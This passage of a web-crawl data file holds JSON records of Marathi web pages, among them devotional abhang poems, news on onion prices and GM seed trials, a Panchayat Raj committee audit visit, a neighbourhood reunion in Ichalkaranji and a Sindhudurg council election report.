ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00166.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.transliteral.org/pages/z150407051336/view", "date_download": "2018-09-25T17:56:43Z", "digest": "sha1:BRFPLRLLR7L5NDUDIRU5GVYMNHFKY7JX", "length": 16678, "nlines": 308, "source_domain": "www.transliteral.org", "title": "निर्मळा", "raw_content": "\nचांदणी चोळी म्हणजे काय\nमराठी मुख्य सूची|मराठी साहित्य|अभंग संग्रह आणि पदे|\nअभंग संग्रह आणि पदे\nमहाराष्ट्र सारस्वत दासोपंताची पदे\nश्री कल्याणांचीं स्फुट प्रकरणें\nसंत कान्होबा महाराजांचे अभंग\nश्री मुकुंदराज महाराज बांदकर\nश्री निरंजन रघुनाथांचे ग्रंथ\nसात वारांचे अभंग,पद व भजन\nसंत तुकाराम अप्रसिद्ध अभंग\nपंडित नारायण व्यास बहाळिये\nपंडित नारायण व्यास बहाळिये\nपंडित नारायण व्यास बहाळिये\nपंडित नारायण व्यास बहाळिये\nसंत जोगा परमानंदाचे अभंग\nसंत जगमित्र नागाचे अभंग\nसंत जनाबाईचे अप्रकाशित अभंग संहिता\nसंत सखूबाई यांचे पद\nसंत श्रीमुक्ताबाईचे अप्रसिद्ध अभंग\nसंत श्रीसंताजीमहाराज जगनाडे अभंग\n' अभंग ' म्हणजे संतकवींनी समाजजागृतीसाठी केलेल्या रसाळ रचना.\nआनंदें वोविया तुम्हासी गाईन जीवें भावें वोवाळीन पायांवरी ॥१॥\nसुकुमार साजिरीं पाउलें गोजिरीं ते हे मिरवलीं विटेवरी ॥२॥\nकटावरी कर धरोनी श्रीहरी उभा भीमातीरीं पंढरीये ॥३॥\nमहाद्वारीं चोखा तयाची बहीण घाली लोटांगण उभयतां ॥४॥\nअनाथांचा नाथ कृपावंत देवा घडो तुमची सेवा अहर्निशीं ॥१॥\nअठ्ठावीस युगें विटेवरी उभा वामभागीं शोबा रुक्मादेवी ॥२॥\n पुरवावी आळी हीच माझी ॥३॥\nउभा विटेवरी ठेवोनी चरण म्हणतसे बहीण चोखियाची ॥४॥\nचहूंकडे देवा दाटला वणवा कां न ये कणवा तुजलागीं ॥१॥\nसांपडलें संधी संसाराचे संगीं सोडवीं लगबगीं मयबापा ॥२॥\nबहु मज उबग आला असे देवा धांवें तूं केशवा लवलाहीं ॥३॥\nतुजवीण मज कोण गणगोत तूंचि माझा हितकर्ता देवा ॥४॥\nनिर्मळा म्हणोनी पायीं घाली मिठी परतें न लोटीं मायबापा ॥५॥\n संसार केला देशधडी ॥१॥\n विठ्ठल नाममंत्र जपें ॥२॥\n सदा गाई नारायण ॥३॥\n छंद येवढा पुरवावा ॥४॥\nनाहीं मज आशा आणीक कोणाची स्तुति मानवाची करुनी काय ॥१॥\nकाय हे देतील नाशवंत सारे यांचें या विचारें यांसी न पुरे ॥२॥\nऐसें ज्याचें देणें कल्पांतीं न सरे तेंचि एक बरें आम्हांलागीं ॥३॥\nजो भक्तांचा विसांवा बैकुंठनिवासी तो पंडरीसी उभा विटे ॥४॥\nनिर्मळा म्हणे सुखाचा सागर लावण्य आगर रूप ज्याचें ॥५॥\nआतां बहु बोलणें सारोनियां ठेवा उगवा हा गोंवा मायबापा ॥१॥\nसंसाराचा छंद नकोसा हा झाला परमार्थ भला संतांसंगें ॥२॥\nजें आहे कडू तें तें लागे गोडू गोडाचें जें गोडू तें लागे कडू ॥३॥\nनिर्मळा म्हणे सुख तुमचे पायीं आणीक मी कांहीं नेणें दुजें ॥४॥\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00166.warc.wet.gz", "language": "mr", "language_score": 0.62, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/farmers-are-happy-for-onion-price-rise-266689.html", "date_download": "2018-09-25T17:49:12Z", "digest": "sha1:5LCHK2HQBRU3F4IWRHTCA53HHEG5HLNP", "length": 14389, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "कांदा महागला,पण शेतकरी सुखावला", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकांदा महागला,पण शेतकरी सुखावला\nराज्यभर अचानक कांद्याचा तुटवडा निर्माण झाल्याने आठ दिवसांमध्ये बाजारभाव दुप्पट झाले आहेत. २७ जुलैला मुंबई बाजार समितीमध्ये ९ ते १० रुपये दराने विकला जाणारा कांदा गुरुवारी १८ ते २२ रुपये किलो झाला आहे.\nप्रतिनिधी, 06 आॅगस्ट : टॉमेटोपाठोपाठ आता राज्यात कांद्याच्या भावातही मोठी वाढ झाली आहे. किरकोळ बाजारात कांद्याचे भाव गगनाला भिडण्याची चिन्ह आहेत. त्यामुळे आता सर्वसामान्य या भाववाढीनं आणखी त्रस्त झाले आहेत. सटाणा तालुक्यातील नामपूर बाजार समितीत कांद्याला शनिवारी सर्वाधिक २,७७५ रुपये प्रति क्विंटल भाव जाहीर झाला. कमीत कमी भाव १,१०५ तर सरासरी भाव २५०० रुपये प्रति क्विंटल जाहीर झाला.\nसध्या मनमाडसह येवला, मालेगाव, चांदवड, नांदगाव बाजार समितीत कांद्याला सरासरी २३०० रुपये प्रती क्विंटल अर्थात २३ रुपये किलो भाव मिळतोय. गेल्या 2 वर्षानंतर कांद्याला चांगला भाव मिळत असल्याने शेतकऱ्यांमध्ये समाधानाचं वातावरण आहे. सध्या किरकोळ बाजारात ३० ते ३२ रुपये किलो दरानं कांदा मिळतोय. कांद्याच्या भावात ही वाढ झाली नाही तर कांद्याला योग्य भाव मिळत असून असाच भाव नेहमी मिळाला तर शेतकऱ्यावर आत्महत्त्या करण्याची वेळ येणार नाही असं मत पुंडलिक कातकाडे या शेतकऱ्याने व्यक्त केलं\nपिंपळगाव बाजार समितीत कांद्याला सर्वाधिक २,६६७ रुपये भाव जाहीर झाला. सरासरी भाव २,२५१ रुपये होता. लासलगाव कृषी उत्पन्न बाजार समितीचे कांदा आणि धान्य लिलाव 3 दिवस बंद राहाणार आहेत. शुक्रवारी कांद्याला किमान ८००, कमाल २४०० भाव मिळाला होता.\nराज्यभर अचानक कांद्याचा तुटवडा निर्माण झाल्याने आठ दिवसांमध्ये बाजारभाव दुप्पट झाले आहेत. २७ जुलैला मुंबई बाजार समितीमध्ये ९ ते १० रुपये दराने विकला जाणारा कांदा गुरुवारी १८ ते २२ रुपये किलो झाला आहे. किरकोळ मार्केटमध्ये हेच दर २० ते ३० रुपये झाले आहेत.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00166.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-agrowon-allow-gm-seed-tests-7029", "date_download": "2018-09-25T17:58:53Z", "digest": "sha1:MRA236VKQA6ZOEVMIHH6CLX3DBOAVN6T", "length": 14246, "nlines": 147, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, agrowon, Allow GM seed tests | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nजीएम बियाणे चाचण्यांना परवानगी द्या\nजीएम बियाणे चाचण्यांना परवानगी द्या\nरविवार, 1 एप्रिल 2018\nपरभणी (प्रतिनिधी)ः जनुकीयरित्या परावर्तित (जीएम) विविध पिकांच्या बियाणे चाचण्यांसाठी परवानगी देण्यात यावी, या मागणीसाठी स्वाभिमानी शेतकरी संघटनेतर्फे शनिवारी (ता.३१) जिल्हाधिकारी कार्यालयासमोर एकदिवसीय उपोषण करण्यात आले.\nपरभणी (प्रतिनिधी)ः जनुकीयरित्या परावर्तित (जीएम) विविध पिकांच्या बियाणे चाचण्यांसाठी परवानगी देण्यात यावी, या मागणीसाठी स्वाभिमानी शेतकरी संघटनेतर्फे शनिवारी (ता.३१) जिल्हाधिकारी कार्यालयासमोर एकदिवसीय उपोषण करण्यात आले.\nअनेक देशांतील शेतकरी जिनेटीकली माॅडीफाइड पिकांची लागवड करून फवारणी; तसेच आंतरमशागतीवरील खर्च कमी करून चौपट उत्पादन घेत आहेत. गेल्या काही वर्षांपासून कपाशीचे बीजी १, बीजी २ वाण बोंड अळीला रोखू शकत नाहीत. जगातील अनेक देश सोयाबीन, हरभरा, मका, मोहरी, वांगे आदी पिकांच्या जीएम वाणांची लागवड करून उत्पादन घेत आहेत. कीड, रोग, तणप्रतिबंधक आदी एकूण ७ प्रकारच्या घटकांसाठी विकसित केलेले जीएम बियाणे वापरले जात आहे.\nभारतीय शेतकरी मात्र या तंत्रज्ञानापासून वंचित राहत आहेत. २०१४ मध्ये जनुकीय परावर्तित मकाच्या चाचण्या वसंतराव नाईक मराठवाडा कृषी विद्यापीठामध्ये घेण्यात आल्या. त्याचप्रमाणे इतर पिकांच्या जी. एम. वाणांच्या चाचण्यांसाठी परवानगी देण्यात यावी, अशी मागणी स्वाभिमानी शेतकरी संघटनेच्या महिला आघाडीच्या प्रदेशाध्यक्षा रसिका ढगे, जिल्हाध्यक्ष भास्कर खटिंग, किशोर ढगे, केशव आरमळ, डिंगाबर पवार, शेख जाफर, माउली कदम, सय्यद कलिम, आदींनी मागणी केली आहे.\nजिल्हाधिकारी कार्यालय बोंड अळी bollworm सोयाबीन भारत कृषी विद्यापीठ agriculture university\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Panchayat-Raj-committee-officials-meeting/", "date_download": "2018-09-25T17:29:34Z", "digest": "sha1:IINFGQT3V5EMGTLG7K6Y5V3TD7QMKOI7", "length": 8028, "nlines": 36, "source_domain": "www.pudhari.news", "title": " पंचायत राज समितीने अधिकार्‍यांना सुनावले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › पंचायत राज समितीने अधिकार्‍यांना सुनावले\nपंचायत राज समितीने अधिकार्‍यांना सुनावले\nजिल्हा परिषदेच्या सन 2013-14 च्या लेखा परीक्षण पुनर्विलोकन अहवालातील मुद्द्यांंवर बुधवारी पंचायत राज समितीने मुख्य कार्यकारी अधिकारी अमन मित्तल यांची साक्ष घेतली. अहवालात उपस्थित करण्यात आलेल्या मुद्द्यांवर चर्चा करत असताना काही विभागांच्या अधिकार्‍यांना चांगलेच सुनावल्याचे समजते. अहवालात उपस्थित करण्यात आलेल्या 153 मुद्द्यांवर चर्चा करण्यात आली. जिल्हा परिषदेच्या कै. वसंतराव नाईक समिती सभागृहात समितीचे कामकाज सुरू आहे. गुरुवारी (दि. 6) ही समिती तालुक्यांचा दौरा करणार आहे.\nमहाराष्ट्र विधानमंडळाची पंचायत राज समिती बुधवारपासून दौर्‍यावर आली आहे. सकाळी अकरा वाजण्याच्या सुमारास ही समिती जिल्हा परिषदेत दाखल झाली. याठिकाणी समितीचे स्वागत मुख्य कार्यकारी अधिकारी अमन मित्तल यांनी केले. समितीचे कामकाज दिवसभर चालले. आज पहिल्या दिवशी सन 2013-14 च्या लेखा परीक्षण पुनर्विलोकण अहवालातील 153 परीच्छेदांवर सुनावणी झाली. यामध्ये सर्वात अधिक 24 मुद्दे शिक्षण विभागाचे होते. याशिवाय समाजल्याण विभागाचे 22, पाणीपुरवठा योजना 7, ग्रामपंचायत 5, बांधकाम 16, लघुपाटबंधारे 7, आरोग्य 6, पशुसवंर्धन 10, वित्त विभाग 7, महिला व बालकल्याण 3, सामान्य प्राशसन विभाग 1 आणि उर्वरित पंचायत समितीशी संबंधित मुद्दे होते.\nगुरुवारी ही समिती तालुक्यांना भेटी देणार आहे. प्रथम पंचायत समितीना भेटी देणार असून, नंतर काही प्राथमिक शाळा, आरोग्य केंद्र, पशुसंवर्धन दवाखाने ही समिती पाहणार आहे. यासाठी चार गट करण्यात आले आहे. पहिल्या गटामध्ये पंचायत राज समितीचे अध्यक्ष सुधीर पारवे, आमदार डॉ. देवराव होळी, आमदार दीपक चव्हाण, आमदार अमरनाथ राजूरकर यांचा समावेश आहे. ते गगनबावडा, राधानगरी व भुदरगड पंचायत समितींना भेटी देणार आहेत. दुसर्‍या गटाचे प्रमुख आमदार दिलीप सोपल आहेत. त्यात आमदार डॉ. सुरेश खाडे, आमदार राहुल बोंद्रे, आमदार दत्तात्रय सावंत व आमदार श्रीकांत देशपांडे यांचा समावेश आहे. हे शाहूवाडी, पन्हाळा व करवीर पंचायत समितींना भेटी देणार आहेत. आमदार प्रा. वीरेंद्र जगताप हे तिसर्‍या गटाचे प्रमुख आहेत. यात आमदार चरण वाघमारे, आमदार रणधीर सावरकर, आमदार राहुल मोटे यांचा समावेश आहे. ते हातकणंगले, कागल व शिरोळ पंचायत समितींना भेटी देणार आहेत. आमदार भरतशेठ गोगावले हे चौथ्या गटाचे प्रमुख आहेत. त्यात आमदार किशोर आप्पा पाटील, आमदार राजेश क्षीरसागर व आमदार विक्रम काळे यांचा समावेश आहे. ते चंदगड, आजरा व गडहिंग्लज पंचायत समिंतीना भेटी देणार आहेत. याठिकाणी गट विकास अधिकार्‍यांची साक्ष घेण्यात येणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Your-lane-accumulated-after-44-years/", "date_download": "2018-09-25T17:25:32Z", "digest": "sha1:RZLCCQ5THLGE3CHE7D3KHHBTREQXQ3AS", "length": 4668, "nlines": 35, "source_domain": "www.pudhari.news", "title": " ‘आपली गल्ली’ 44 वर्षांनंतर एकवटली | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › ‘आपली गल्ली’ 44 वर्षांनंतर एकवटली\n‘आपली गल्ली’ 44 वर्षांनंतर एकवटली\nपोटची खळगी भरण्यासाठी प्रत्येकाला आपल्या कुटुंबासह भटकंती करावी लागते. नोकरी-उद्योग-व्यवसायाच्या उद्देशाने स्वत:चे गाव-घर सोडून परजिल्हा-राज्य-देशात जावे लागते. मात्र, प्रत्येकालाचा आपल्या जन्मभूमीची आठवण आवर्जून असतेच. अशा या ओढीतूनच एकत्र राहत असणारी इचलकरंजीतील ‘आपली गल्ली’ एकवटली. तब्बल 44 वर्षांनंतर गल्लीवाले एकमेकांना भेटले आणि त्यांचा अनोखा स्नेहमेळावा झाला.\nइचलकरंजीतील राम-जानकी हॉलमध्ये मेळाव्याच्या सुरुवातील कालओघात निधन पावलेल्या व्यक्‍तींना श्रद्धांजली वाहण्यात आली. यानंतर उपस्थित असणार्‍या प्रत्येकाने आपली ओळख करून दिली. संपूर्ण नाव, तत्कालीन गल्लीतील टोपण नाव असा इत्थंभूत परिचय करून दिला. यानंतर जुन्या आठवणींना उजाळा देण्यात आला. जुन्या गल्लीत एकत्रीत फेरफटकाही मारण्यात आला. यावेळी गल्लीतील झालेल्या बदलांबाबत चर्चाही झाली. संयोजन विकास मोघे, किरण मिराशी, जीवन नातू, नुतन फाटक, सुरेश वैद्य, माया कुलकर्णी, छाया कुलकर्णी, दत्तात्रय पुसाळकर, अनिल कुलकर्णी आदींनी केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/shivsena-against-all-other-party-in-sindhudurgha/", "date_download": "2018-09-25T17:10:10Z", "digest": "sha1:EBK4MOWTWDSESBSZH4BCZRC7I3CHGH32", "length": 8482, "nlines": 39, "source_domain": "www.pudhari.news", "title": " सिंधुदुर्गात शिवसेना विरुद्ध बाकी सगळे एकत्र | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › सिंधुदुर्गात शिवसेना विरुद्ध बाकी सगळे एकत्र\nसिंधुदुर्गात शिवसेना विरुद्ध बाकी सगळे एकत्र\nसावंतवाडी : शहर वार्ताहर\nविधान परिषदेच्या एका जागेसाठी सोमवारी सिंधुदुर्ग जिल्ह्यातील सावंतवाडी, कुडाळ, कणकवली या तीन केंद्रांवर 100 टक्के मतदान झाले. राष्ट्रवादीचे उमेदवार अनिकेत तटकरे सिंधुदुर्ग जिल्ह्यात स्वत: मतदान काळात ठाण मांडून होते. सावंतवाडीत मतदान केंद्राच्या परिसरात भाजप, राष्ट्रवादी, स्वाभिमान आणि काँग्रेसचे नेते एकत्र होते. मात्र, शिवसेनेचे नेते एका बाजूला होते. त्यामुळे शिवसेना विरुद्ध बाकी सगळे अशी चर्चा सुरू होती. 24 मे रोजी या निवडणुकीची मतमोजणी रत्नागिरीत होणार असून निवडणूक निकालातही असेच चित्र बाहेर पडेल, अशी चर्चा सोमवारी जिल्ह्यात सुरू होती.\nकुडाळ - 56, कणकवली - 77, सावंतवाडी - 79 या प्रमाणे मतदान झाले. यासाठी जिल्ह्यात 212 मतदार होते. जिल्ह्यातील सर्वच्या सर्व 212 मतदारांनी आपला मतदानाचा हक्‍क बजावला. सकाळी जिल्हाधिकारी डॉ. दिलीप पांढरपट्टे, कणकवलीच्या प्रांताधिकारी नीता सावंत-शिंदे यांनी मतदान प्रक्रियेची पहाणी केली.\nगेल्या दोन महिन्यांपासून सेना व राष्ट्रवादी काँग्रेससह सर्वच पक्षांची प्रतिष्ठा पणाला लागलेली विधान परिषदेच्या कोकण स्थानिक स्वराज्य संस्थांच्या जागेसाठीची रणधुमाळी सोमवारी मशिनबंद झाली. सेनेकडून राजीव साबळे, तर राष्ट्रवादी, काँग्रेस, स्वाभिमान यांच्या महाआघाडीने माजी जलसंपदामंत्री सुनील तटकरे यांचे पुत्र अनिकेत तटकरे यांना रिंगणात उतरविले आहे. या निवडणुकीसाठी सोमवारी येथील प्रांत कार्यालयातील मतदान केंद्रावर तहसीलदार तथा प्रभारी निवडणूक अधिकारी सतीश कदम यांच्या उपस्थितीत मतदान प्रक्रिया पार पडली. या केंद्रावर 79 मतदार असून सावंतवाडी, वेंगुर्ला, दोडामार्ग येथील स्थानिक स्वराज्य संस्थांच्या लोकप्रतिनिधींनी मतदान केले. सकाळी 12 पर्यंतच मतदानाची प्रक्रिया पार पडून 100 टक्के मतदान नोंदविण्यात आले.\nमाजी मुख्यमंत्री तसेच खासदार नारायण राणे, भाजप, काँग्रेस आणि शेकाप पाठिशी असल्याने आपला विजय निश्‍चित आहे, असा दावा महाआघाडीचे उमेदवार अनिकेत तटकरे यांनी सोमवारी येथे पत्रकारांशी केला. भाजप नेते व पदाधिकार्‍यांची अनिकेत तटकरे व स्वाभिमान,काँग्रेस व राष्ट्रवादीच्या नेत्यांशी यावेळी जवळीक पहावयास मिळाल्याने भाजपने या निवडणुकीत पालघरचा वचपा काढण्यासाठी तटकरे यांना मदत केल्याची चर्चा सुरू होती.\nशिवसेनेचे पदाधिकारी शांतपणे उभे होते\nया विधान परिषद निवडणुकीत सेने विरुद्ध इतर पक्ष एकत्र आले आहेत.हे चित्र सोमवारी मतदानावेळीही 